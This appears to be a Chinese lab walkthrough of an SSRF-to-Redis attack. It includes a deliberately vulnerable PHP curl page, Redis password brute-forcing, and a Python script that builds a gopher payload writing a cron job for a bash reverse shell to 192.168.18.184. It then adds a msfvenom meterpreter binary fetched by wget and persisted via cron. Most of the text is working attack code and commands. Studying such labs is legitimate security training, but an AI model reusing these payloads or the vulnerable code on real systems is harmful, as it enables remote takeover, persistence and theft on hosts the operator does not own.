- 创建两个主机
- 一个开启redis远程访问,但没有web,同时设置只允许另一个ip访问 192.168.18.189
设置规则 iptables -I INPUT -s 192.168.18.171 -p tcp --dport 6379 -j ACCEPT #允许指定ip访问6379端口 iptables -A INPUT -s 0.0.0.0/0 -p tcp --dport 6379 -j DROP #拒绝所有6379访问
-
- 一个进行远程连接,开启web 192.168.18.171
- 192.168.18.171,创建以下代码,进行ssrf漏洞
<?php $url=$_POST['url']; //创建一个curl资源 $ch=curl_init(); //设置url和相应的选项 curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_HEADER,1); //抓取url并把它传递给浏览器 curl_exec($ch); //关闭curl资源,并释放系统资源 curl_close($ch); ?>
- 进行测试,看能否访问指定端口
- 一个开启redis远程访问,但没有web,同时设置只允许另一个ip访问 192.168.18.189
- 抓包进行用户名密码爆破
- 爆破成功,获取密码
- 进行构造payload
import urllib.parse passwd = '123456' set = 'set 1' sh ="\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.18.184/4444 0>&1\n\n" #可以直接使用不需要转义 sh = sh.replace(' ',"####") #替换空格 shell =f'{set} {sh}' # print(shell) dir = 'config set dir /var/spool/cron/' name = 'config set dbfilename root' payloads = [f'auth {passwd}','flushdb',f'{shell}',f'{dir}',f'{name}','save'] #填充内容 payload = '' for pay in payloads: pa = pay.split(" ") #遍历,以空格作为分隔符 # print(p) payload = payload + '*' + str(len(pa)) + r'\r\n' #构造payload原始语句 for p in pa: payload = payload + "$" + str(len(p.replace('####',' '))) + r'\r\n' + p.replace('####',' ') + r'\r\n' #构造payload原始语句 print(payload) url = urllib.parse.quote(payload).replace('%','%25').replace('5Cr','0D').replace('5Cn','0A') #将构造好语句转换为url编码,同时为了满足gopher将%转换为%25,转换过程有错误,/r/n,url编码错误,进行手动替换 print(url)
- 构造完成进行,gopher输入
- 反弹成功
- 该模式下有一部分命令无法使用
[root@localhost ~]# env #查看环境变量 env XDG_SESSION_ID=42 SHELL=/bin/bash USER=root PATH=/usr/bin:/bin:usr/sbin #重要 PWD=/root LANG=zh_CN.UTF-8 HOME=/root SHLVL=2 LOGNAME=root LESSOPEN=||/usr/bin/lesspipe.sh %s XDG_RUNTIME_DIR=/run/user/0 _=/usr/bin/env export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin #使用export添加变量 成功,可以使用命令
- 进行拓展
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.18.184 LPORT=4444 -f elf > tmp/shell.elf #制作反弹shell木马 python -m http.server 80 #在当前目录开启http服务 wget http://192.168.18.184:80/shell.elf #靶机下载 use exploit/multi/handler #进入msf选择指定文件 set payload linux/x86/meterpreter/reverse_tcp set lhost 192.168.18.184 set lport 4444 #设置监听 echo "/n/n* * * * * ./root/shell.elf" >> /var/spool/cron/root #写入定时任务 chmod a+x shell.elf #给予执行权限